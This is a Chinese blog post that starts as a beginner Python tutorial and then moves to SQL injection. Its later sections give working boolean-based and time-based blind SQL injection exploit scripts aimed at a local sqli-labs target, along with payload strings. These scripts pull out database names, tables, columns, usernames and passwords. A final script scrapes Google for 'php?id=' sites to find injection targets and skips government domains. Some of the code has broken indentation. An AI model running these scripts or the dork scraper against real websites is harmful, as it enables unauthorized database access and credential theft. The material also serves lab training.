Kalpa Blog|

HKalpa

园龄:2年11个月粉丝:16关注:2

Python基础

1、基础

jiaGe = 5;  // 定义价格
zhongLiang = 6;  // 定义重量
# .format()代入价格、重量,输出jiaGe和zhongLiang
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));

# 输出
# 苹果的价格:5元/斤,重量:6斤
# sep=""间隔符;end=""不换行输出print(Python3.x版本默认print换行输出)
print(1,2,3,sep=":",end="---Next---");
print(1,2,3,sep="-",end="...");

# 输出
# 1:2:3---Next---1-2-3...
jiaGe = input();  # input()输入的是字符串
zhongLiang = 6;
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));
print("总价格是{}元".format(jiaGe*zhongLiang));

# 5
# 苹果的价格:5元/斤,重量:6斤
# 总价格是555555元

jiaGe = int(input());  # 使用int()强转类型
zhongLiang = 6;
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));
print("总价格是{}元".format(jiaGe*zhongLiang));

# 5
# 苹果的价格:5元/斤,重量:6斤
# 总价格是30元
# 输入苹果单价、重量,购买优惠十元,输出总价
jiaGe = int(input("苹果的价格:元/斤"));
zhongLiang = int(input("苹果的重量:斤"));
zongJia = jiaGe*zhongLiang;
zongJia = zongJia -10;
print("苹果的价格:{}元/斤,重量:{}斤".format(jiaGe,zhongLiang));
print("总价格:{}元".format(zongJia));

# 苹果的价格:元/斤5
# 苹果的重量:斤6
# 苹果的价格:5元/斤,重量:6斤
# 总价格:20元

2、数据类型

2.1 内置函数

# int(去小数部分)
num = 3.14
print(int(num))  # 输出3
# round(四舍五入取小数)
# abs(取绝对值)
# pow(取平方)
# hex(十进制转16进制)
# oct(十进制转八进制)
# ord(根据ASCII表,字符转十进制)
# chr(根据ASCII表,十进制转字符)

2.2 字符串切片

# 转义字符
print("Python中的单引号'和双引号\"使用转义字符正常输出")
# 字符串[开始索引:结束索引:步长]
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[0:10:2])  # 输出acegi

# 从左往右数,从0开始
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[0])  # 输出a
# 从右往左数,从-1开始
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[-1])  # 输出z

# 输出连续字符串(包括左边不包括右边)
str = 'abcdefghijklmnopqrstuvwxyz'
# 取前三位
print(str[0:3])  # 输出abc
# 取后三位
print(str[-3:])  # 输出xyz

# 拼接字符串
str = 'abcdefghijklmnopqrstuvwxyz'
print(str[0:3]+str[-3:])  # 输出abcxyz

2.3 字符串常用操作

判断类型

is方法开头大都是做判断类型,返回布尔值

# string.isspace() --> 如果string中只包含空格,返回True
str1 = ''
print(str1.isspace())  # False
str2 = ' '
print(str2.isspace())  # True
查找替换
# string.find()

# str2存在str1中返回开始索引,不存在返回-1
str1 = 'abcdefghijklmnopqrstuvwxyz'
str2 = 'abc'
print(str1.find(str2,0,len(str1)))  # 输出0(从第0个开始)

str1 = 'abcdefghijklmnopqrstuvwxyz'
str2 = 'abcxyz'
print(str1.find(str2,0,len(str1)))  # 输出-1(不存在)
# string.replace()
# a替换成A,替换一次
str = 'abcadefghijklmnopqrstuvwxyz'
print(str.replace('a','A',1))  # 输出Abcadefghijklmnopqrstuvwxyz

# a替换成A,替换所有
str = 'abcadefghijklmnopqrstuvwxyz'
print(str.replace('a','A',))  # 输出AbcAdefghijklmnopqrstuvwxyz
大小写转换
# str.upper()
str = 'abcadefghijklmnopqrstuvwxyz'
print(str.upper())  # 输出ABCADEFGHIJKLMNOPQRSTUVWXYZ
去除空白字符
# str.strip()

# 去除首位空白字符
str = ' abcadefghijklmnopqrstuvwxyz '
print(str.strip())  #输出abcadefghijklmnopqrstuvwxyz

# 首尾去除指定字符
str = '.abcadefghijklmnopqrstuvwxyz.'
print(str.strip('.'))  # 输出abcadefghijklmnopqrstuvwxyz

2.4 列表

跟字符串类似

list = [1,'abc',[2,'xyz']]
print(list[:])  # 输出[1, 'abc', [2, 'xyz']]
# list.insert()

# 列表索引1前面插入'xyz'
list = [1,'abc',[2,'xyz']]
list.insert(1,'xyz')
print(list)  #输出[1, 'xyz', 'abc', [2, 'xyz']]

# 列表末尾插入3
list = [1,'abc',[2,'xyz']]
list.insert(3,3)
print(list)  # 输出[1, 'abc', [2, 'xyz'], 3]
# 或者使用list.append()函数
list = [1,'abc',[2,'xyz']]
list.append(3)
print(list)  # 输出[1, 'abc', [2, 'xyz'], 3]
# list.remove()函数中写元素
list = [1,'abc',[2,'xyz']]
list.remove('abc')
print(list)  # 输出[1, [2, 'xyz']]
# 第三个改为3x
list = [1,'abc',[2,'xyz']]
list[2] = "3x"
print(list)  # 输出[1, 'abc', '3x']
# 查看第二个字符串第一个元素
list = [1,'abc',[2,'xyz']]
print(list[1][0])  # 输出a
统计
# 统计出现次数,只有list[0]被统计
list = [1,'1',[1,'1']]
print(list.count(1))  # 输出1
排序
# list.sort()函数
# 类型不同报错

2.5 元组

元组与列表相似,但是元组不能修改,列表可以修改

# list函数元组转列表
list(元组)

# tuple函数列表转元组
tuple(列表)

2.6 集合

用大括号或者set()函数创建集合

集合基本功能:进行成员关系测试和删除重复元素

注:创建空集合必须要用set()函数,因为{}用于创建字典

2.7 字典

列表是有序对象集合,字典是无序对象集合

用{}定义,键值对使用,分隔

键key是索引,值value是数据,键和值之间用:连接

字典是键值对存放,键名是唯一的,且只能是字符串、数字或元组,键值可以相同,可取任意数据类型

dict = {'name':'Tom','id':1}
print(dict['name'])  # 输出Tom

2.8 运算符

面向百度的编程语言

2.9 比较运算符

# =是赋值
# ==是判断是否等于

a += b  # a = a + b

# 海象运算符(3.8新增的赋值运算)

2.10 位运算符

&  # 按位与运算符
| # 按位或运算符
^ # 按位异或运算符
~ # 按位取反运算符
<< # 左移动运算符
>> # 右移动运算符

2.11 逻辑运算符

and
or
not

2.12 成员运算符

in
not in

2.13 身份运算符

is
is not

2.14 运算符优先级

加括号就完事

3、条件控制与循环

3.1 if语句

每个条件后面使用冒号,后面是满足条件执行的语句块

使用缩进划分语句块,相同缩进的语句组成一个语句块

score = int(input("分数"))
if (score >= 90):
   print("优秀")
elif (90 > score >= 80):
   print("良好")
elif(score < 80):
   print("垃圾")
else:
   print("弟弟")

3.2 if嵌套

嵌套时注意缩进

# 案例:石头剪刀布
import random # 引入库

player = int(input("请输入石头(1)/剪刀(2)/布(3)"))
computer = random.randint(1,3) # 使用1-3随机数

if (player == 1 and computer == 2) or (player == 2 and computer == 3) or (player == 3 and computer == 1):
print("You Win")
elif (player == computer):
print("Draw")
else:
print("Computer Win");
# 通过编写函数实现

import random

def Game(player,computer):  # def 定义函数的关键字(必须要有) Game 函数名称 player computer 参数(需要赋值)
   result = ""  # result 返回值
   if (player == 1 and computer == 2) or (player == 2 and computer == 3) or (player == 3 and computer == 1):
       result = "You Win"
   elif (player == computer):
       result = "Draw"
   else:
       result = "Computer Win"
   return result

if __name__ == "__main__":
   player = int(input("请输入石头(1)/剪刀(2)/布(3):"))
   computer = random.randint(1, 3)
   print(Game(player,computer))

3.3 for循环

遍历迭代对象(一个列表或者一个字符串)

# 遍历字符串
str = "wobuxiangshangban"
for sname in str:
   print(sname)
# for可与else使用
for i in range(0,10):
   print(i)
else:
   print("end")
# 案例:for循环遍历列表

# 创建水果列表并输出列表中的所有元素
fruits = ['apple','pear','grape','orange','pieapple']
for fruit in fruits:
   print("水果有:{}".format(fruit))


# 创建数字列表(方法一)
nums = []
for i in range(1,6):
   nums.append(i)
print(nums)

# 创建数字列表(方法二)
nums = [i for i in range(1,6)]  # 列表推导式
print(nums)


# 同时输出两个列表元素(方法一)
fruits = ['apple','pear','grape','orange','pieapple']
nums = [i for i in range(1,6)]
for i in range(0,len(fruits)):
   print("第{}个水果是{}".format(nums[i],fruits[i]))

# 同时输出两个列表元素(方法二)
fruits = ['apple','pear','grape','orange','pieapple']
nums = [i for i in range(1,6)]
# 双重循环
for num,fruit in zip(nums,fruits):  # zip函数
   print("第{}个水果是{}".format(num,fruit))

3.4 while循环

i = 0
while i < 10:
print(i)
i += 1

3.5 break语句

i = 0
while True:
i += 1
print(i)
if (i == 10):
break

3.6 continue语句

i = 0
while True:
i += 1
if (i == 10):
break
elif (i % 3 == 0):
continue
else
print(i,end='\t')

# pass不做任何事情,一般用做占位语句
while True:
i += 1
if (i == 10):
break
elif (i % 3 == 0):
pass
else:
print(i,end='\t')

3.7 使用循环创建文件

# 案例:创建文本文档并使用数字命名
for i in range(1,11):
file = open("C:/test/{}.txt".format(i),"w")
file.write("xiaBan") # 写入内容
file.close() # 关闭文件

# 读写模式
r:读取文件,若文件不存在则会报错
w:写入文件,若文件不存在则会先创建再写入,会覆盖原文件
a:写入文件,若文件不存在则会先创建再写入,但不会覆盖原文件,而是追加在文件末尾
rb,wb:分别与r,w类似,但是用于读写二进制文件
r+:可读、可写,文件不存在也会报错,写操作时会覆盖
w+:可读,可写,文件不存在先创建,会覆盖
a+:可读、可写,文件不存在先创建,不会覆盖,追加在末尾

3.8 打印九九乘法表

# 方法一(for正序)
for i in range(1,10):
   print()
   for j in range(1,10):
       if(j > i):
           break
       print("{}*{}={}".format(i,j,i*j),end="\t")

# 方法二(for倒序)
for i in range(1,10):
   print()
   for j in range(1,10):
       if(j < i):
           print(" ",end="\t\t")
           continue
       print("{}*{}={}".format(i,j,i*j),end="\t")

# 方法三(while正序)
i = 0
while i < 9:
   i += 1
   print()
   j = 0
   while j < 9:
       j += 1
       if(i < j):
           break
       print("{}*{}={}".format(i, j, i * j), end="\t")

# 方法四(while倒序)
i = 0
while i < 9:
   i += 1
   print()
   j = 0
   while j < 9:
       j += 1
       if(i > j):
           print(" ", end="\t\t")
           continue
       print("{}*{}={}".format(i, j, i * j), end="\t")

# 九九乘法表写入文件
for i in range(1,10):
   for j in range(1,10):
       if(j > i):
           break
       file = open("C:/test/1.txt","a+")
       file.write("{}*{}={}\t".format(i,j,i*j))
   file.write("\n")
file.close()
print("成功写入")

4、Python盲注EXP编写

SQL语句注释补充【sql注入中23%代表什么(#)】
1.url中#和-- (有个空格)表示注释,可以使它们后面的语句不被执行。
在url中,get请求(浏览器中输入的url)解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合(+会被解释成空格)。
2.使用--%20
把空格转换为urlencode编码格式不会报错。同理把#变成%23也不报错。
3.post请求
可以直接使用#来进行闭合。常见的就是表单注入,比如在后台登录框中进行注入。
4.为什么--后面必须要有空格,而#后面就不需要
使用--注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的
不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

4.1 通过Python向浏览器发送报文请求数据

# 通过requests库模拟请求报文

# 原生库:import urllib
# 更好用的库:import requests

import requests

url = 'http://127.0.0.1/sqliLabs/Less-8/'

# get方式
headers = {
   # 字典形式(键值对)
   'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}
req = requests.get(url=url,headers=headers)

# print(type(req)) # <class 'requests.models.Response'>

# print(req.headers) # Respones Headers

# print(req.status_code) # 状态码

# print(req.url) # 请求地址链接

# 常用text查看网站响应信息
# print(req.text) # 网站响应包,Python自动做了处理
# print(req.content) # bytes格式网站响应包,未处理原信息


# # post方式
# data = {}
# requests.post()

4.2 布尔盲注EXP

1)盲注函数:
length()  # 返回字符串的长度
substr()  # 截取字符串,语法substr(str,start,len),例如substr('abc',1,1)截取a
ascii()  # 返回字符的ascii码,将字符变为数字
sleep()  # 将程序延时一段时间,如果使用网站的访问量过大,且全都延时100秒,数据库的资源被大量占用,服务器会崩溃
if(expr1,expr2,expr3)  # 判断语句,如果第一个语句正确就执行第二个语句,否则执行第三个语句


2)注入语句:
# 拆解当前数据库名称长度
http://x.com/index.php?id=1 and length(database())>1

# 利用ASCII码猜解当前数据库名称
http://x.com/index.php?id=1 and ascii(substr(database(),1,1))>1
# 最好将ascii用括号变为一个整体
http://x.com/index.php?id=1 and (ascii(substr(database(),1,1)))>1

# 猜解表名,子查询建议加括号
http://x.com/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1

# 猜解字段名
http://x.com/index.php?id=1 and (ascii(substr((select column_name from information_schema.columns where table_name='admin' and table_schema=database() limit 0,1),1,1)))>1

# 猜解内容
http://x.com/index.php?id=1 and (ascii(substr((select apple1 from admin limit 0,1),1,1)))>1
# 跑库的长度
import requests

url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
payload = "' and length(database())={} %23"
exp = url + payload
# headers模拟发包信息,打靶可有可无
headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}

i = 0
while True:
   req = requests.get(url=exp.format(i),headers=headers)
   if "You are in..........." in req.text:
       print("库的长度:{}".format(i))
       break
   i += 1

# 优化后(二分法)
import requests

def length_two(exp):
   min = 0
   max = 128
   while True:
       if (max-min) > 1:
           mid = int((min+max)/2)
       else:
           mid = max
           return mid
       req = requests.get(url=exp.format(mid),headers=headers)
       if "You are in..........." in req.text:
           min = mid
       else:
           max = mid

if __name__ == '__main__':
   url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
   payload = "' and length(database())>{} %23"
   exp = url + payload
   headers = {
       'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
  }
   print(length_two(exp))
# 跑库的名字
import requests

url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
payload = "' and ascii(substr(database(),{},1))={} %23"
exp = url + payload
headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
}
db_name = ''
for j in range(1,9):
   for i in range(0,128):
       req = requests.get(url=exp.format(j,i),headers=headers)
       if "You are in..........." in req.text:
           db_name += chr(i)
           break
print("库名:{}".format(db_name))

# 优化后(二分法)
import requests

def name_two(length,exp):
   name = ''
   try:
       for i in range(1,length+1):
           min = 0
           max = 128
           while True:
               if(max - min > 1):
                   mid = int((min+max)/2)
               else:
                   mid = max
                   name += chr(mid)
                   print(name)
                   break
               html = requests.get(exp.format(i,mid))
               if "You are in..........." in html.text:
                   min = mid
               else:
                   max = mid
   except Exception as e:
       print(e)
if __name__ == '__ main__':
   url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
   payload = "' and ascii(substr(database(),{},1))={} %23"
   exp = url + payload
   name_two(8,exp)
# 二分法综合EXP跑库长和库名
import requests

def length_two(exp):
   min = 0
   max = 128
   while True:
       if ((max-min) > 1):
           mid = int((min+max)/2)
       else:
           mid = max
           return mid
       req = requests.get(url=exp.format(mid),headers=headers)
       if "You are in..........." in req.text:
           min = mid
       else:
           max = mid

def name_two(length,exp):
   name = ''
   try:
       for i in range(1,length+1):
           min = 0
           max = 128
           while True:
               if (max - min >1):
                   mid = int((min+max)/2)
               else:
                   mid = max
                   name += chr(mid)
                   print(name)
                   break
               req = requests.get(url=exp.format(i,mid),headers=headers)
               if "You are in..........." in req.text:
                   min = mid
               else:
                   max = mid
   except Exception as e:
       print(e)
if __name__ == '__main__':
   url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
   payload = "' and ascii(substr(database(),{},1))>{} %23"
   exp = url + payload
   headers = {
       'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36'
  }
   name_two(8,exp)

Python盲注EXP:

# 布尔盲注EXP参考

import requests

# 获取数据库名长度
def database_len():
   for i in range(1, 10):
       url = f"http://localhost:90/sqli-labs-master/Less-8/?id=1' and length(database())>{i}"
       r = requests.get(url + '%23')
       if 'You are in' not in r.text:
           print('database_length:', i)
           return i

#获取数据库名
def database_name(databaselen):
    name = ''
    for j in range(1, databaselen+1):
       for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
           url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' and substr(database(),%d,1)='%s'" % (j, i)
           #print(url+'%23')
           r = requests.get(url + '%23')
           if 'You are in' in r.text:
               name = name + i
               break
    print('database_name:', name)

# 获取数据库表
def tables_name():
   name = ''
   for j in range(1, 30):
       for i in 'abcdefghijklmnopqrstuvwxyz,':
           url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                 "and substr((select group_concat(table_name) from information_schema.tables " \
                 "where table_schema=database()),%d,1)='%s'" % (j, i)
           r = requests.get(url + '%23')
           if 'You are in' in r.text:
               name = name + i
               break
   print('table_name:', name)

# 获取表中字段
def columns_name():
   name = ''
   for j in range(1, 30):
       for i in 'abcdefghijklmnopqrstuvwxyz,':
           url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                 "and substr((select group_concat(column_name) from information_schema.columns where " \
                 "table_schema=database() and table_name='users'),%d,1)='%s'" % (j, i)
           r = requests.get(url + '%23')
           if 'You are in' in r.text:
               name = name + i
               break
   print('column_name:', name)

# 获取username
def username_value():
   name = ''
   for j in range(1, 100):
       for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
           url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                 "and substr((select group_concat(username) from users),%d,1)='%s'" % (j, i)
           r = requests.get(url + '%23')
           if 'You are in' in r.text:
               name = name + i
               break
   print('username_value:', name)

# 获取password
def password_value():
   name = ''
   for j in range(1, 100):
       for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
           url = "http://localhost:90/sqli-labs-master/Less-8/?id=1' " \
                 "and substr((select group_concat(password) from users),%d,1)='%s'" % (j, i)
           r = requests.get(url + '%23')
           if 'You are in' in r.text:
               name = name + i
               break
   print('password_value:', name)

if __name__ == '__main__':
   dblen = database_len()
   database_name(dblen)
   tables_name()
   columns_name()
   username_value()
   password_value()

4.3 时间盲注EXP

1)盲注函数
length() 返回字符串的长度
ascii() 返回一个字符的ascii码值
mid() 取出字符串中的一部分值
substr() 截取字符串
hex() 返回16进制数

sleep() 时间注入的核心函数
sleep(1) 过1s相应

if() if判断函数
if(1=1,3,4) 返回3
if(1=2,3,4) 返回4


2)构建判断语句
id=1' and if(1=2,1,sleep(10)) --+
id=1" and if(1=2,1,sleep(10)) --+
id=1) and if(1=2,1,sleep(10)) --+


3)构建暴库语句
id=1' and if(length(database())>1,sleep(2),0) --+
增加1值来猜库名的长度
id=1' and if(ascii(substr(database(),1,1))>114,sleep(2),0) --+
增加1值,对照ascii表查询库名
id=1and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101,sleep(1),0)--+
增加1值,对照ascii表查询表名
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>104,sleep(1),0)--+
增加1值,对照ascii表查询列名
id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))>49,sleep(1),0)--+
根据表名和列名进行暴值
# 时间盲注二分法EXP跑库长和库名
import requests
import time

def length_two(exp):
   min = 0
   max = 128
   while True:
       if(max - min >1):
           mid = int((min+max)/2)
       else:
           mid = max
           print("库长:{}".format(mid))
           break
       start_time = time.time()
       html = requests.get(exp.format(mid))
       if(time.time() - start_time > 2):
           min = mid
       else:
           max = mid

def name_two(length,exp):
   name = ''
   try:
       for i in range(1,length+1):
           min = 0
           max = 128
           while True:
               if(max - min > 1):
                   mid = int((min+max)/2)
               else:
                   mid = max
                   name += chr(mid)
                   print(name)
                   break
               start_time = time.time()
               html = requests.get(exp.format(i,mid))
               if(time.time() - start_time > 2):
                   min = mid
               else:
                   max = mid
   except Exception as e:
       print(e)

if __name__ == '__main__':
   url = 'http://127.0.0.1/sqliLabs/Less-8/?id=1'
   payload = "' and if(ascii(substr(database(),{},1))>{},sleep(2),1) %23"
   exp = url + payload
   name_two(8, exp)

5、Python爬取注入站点脚本编写

XPath补充:

表达式描述
nodename 选取此节点的所有子节点
/ 从根节点选取
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
@ 选取属性

XPath语法参考链接:https://www.w3school.com.cn/xpath/xpath_syntax.asp

# 网络请求
import requests

url = "https://www.cnblogs.com/HKalpa/"

html = requests.get(url).text

print(html)
# 单页面爬取URL

import requests
from lxml import etree  # 处理xpath格式

# 网络请求
url = "https://www.cnblogs.com/programmerwang/default.html"
html = requests.get(url).text

# 数据处理 xpath ba4 re(正则)
# xpath
tree = etree.HTML(html)
# //a[@class="c_b_p_desc_readmore"]/@href
pages = tree.xpath("//a[@class=\"c_b_p_desc_readmore\"]/@href")
for page in pages:
   print(page)
# 多页面爬取URL

import requests
from lxml import etree  # 处理xpath格式

for i in range(1,10):
   # 网络请求
   url = "https://www.cnblogs.com/programmerwang/default.html?page={}".format(i)
   html = requests.get(url).text

   # xpath数据处理
   tree = etree.HTML(html)
   pages = tree.xpath("//a[@class=\"c_b_p_desc_readmore\"]/@href")
   for page in pages:
       print(page)
# 爬取谷歌URL(半自动)
import requests
from lxml import etree  # 处理xpath格式

# 网络请求
url = "https://www.google.com/search?q=inurl%3A+php%3Fid%3D&sxsrf=ALiCzsa6HEJIHMwd42Jc0VRVNkzxb-HlAw%3A1663505949925&ei=HRYnY5GJOK-fptQPjaiLyAs&ved=0ahUKEwjRi-jJsp76AhWvj4kEHQ3UArkQ4dUDCA4&oq=inurl%3A+php%3Fid%3D&gs_lcp=Cgdnd3Mtd2l6EAxKBAhBGABKBAhGGABQAFgAYABoAHABeACAAQCIAQCSAQCYAQA&sclient=gws-wiz"

headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
}

html = requests.get(url=url,headers=headers).text

# xpath数据处理
tree = etree.HTML(html)
pages = tree.xpath("//a[@data-ved]/@href")
for page in pages:
   if '#' in page:
       continue
   elif 'gov' in page:
       continue
   print(page)

本文作者:HKalpa

本文链接:https://www.cnblogs.com/HKalpa/p/16739142.html

版权声明:本作品采用本人所有操作均在实验环境下进行,用于其它用途后果自负,作者不承担相应的后果。中国大陆许可协议进行许可。

posted @   HKalpa  阅读(229)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 绅士 薛之谦
绅士 - 薛之谦
00:00 / 00:00
An audio error has occurred.

作词 : 薛之谦

作曲 : 薛之谦

编曲 : 杨子朴

好久没见了什么角色呢

细心装扮着

白色衬衫的袖扣是你送的

尽量表现着像不在意的

频繁暴露了自欺欺人者

越掩饰越深刻

你说我说听说

忍着言不由衷的段落

我反正决定自己难过

我反正决定自己难过

我想摸你的头发

我想摸你的头发

只是简单的试探啊

我想给你个拥抱

我想给你个拥抱

像以前一样可以吗

你退半步的动作认真的吗

小小的动作伤害还那么大

我只能扮演个绅士

才能和你说说话

我能送你回家吗

我能送你回家吗

可能外面要下雨啦

我能给你个拥抱

我能给你个拥抱

像朋友一样可以吗

我忍不住从背后抱了一下

我忍不住从背后抱了一下

尺度掌握在不能说想你啊

你就当刚认识的绅士

闹了个笑话吧

尽量表现着善解人意的

尽量表现着善解人意的

频繁暴露了不欲人知的

越掩饰越深刻

想说听说别说

忍着言不由衷的段落

我反正注定留在角落

我想摸你的头发

我想摸你的头发

只是简单的试探啊

我想给你个拥抱

我想给你个拥抱

像以前一样可以吗

你退半步的动作认真的吗

你退半步的动作认真的吗

小小的动作伤害还那么大

我只能扮演个绅士

才能和你说说话

我能送你回家吗

我能送你回家吗

可能外面要下雨啦

我能给你个拥抱

像朋友一样可以吗

我忍不住从背后抱了一下

我忍不住从背后抱了一下

尺度掌握在不能说想你啊

你就当刚认识的绅士

闹了个笑话吧

你能给我只左手

你能给我只左手

牵你到马路那头吗

我会像以前一样

我会像以前一样

看着来往的车子啊

我们的距离在眉间皱了下

迅速还原成路人的样子啊

越有礼貌我越害怕

绅士要放得下

制作人 : 杨子朴

钢琴 : 杨子朴

吉他 : 杨子朴

合声 : 杨子朴

录音 : 金宇

混音 : 王用均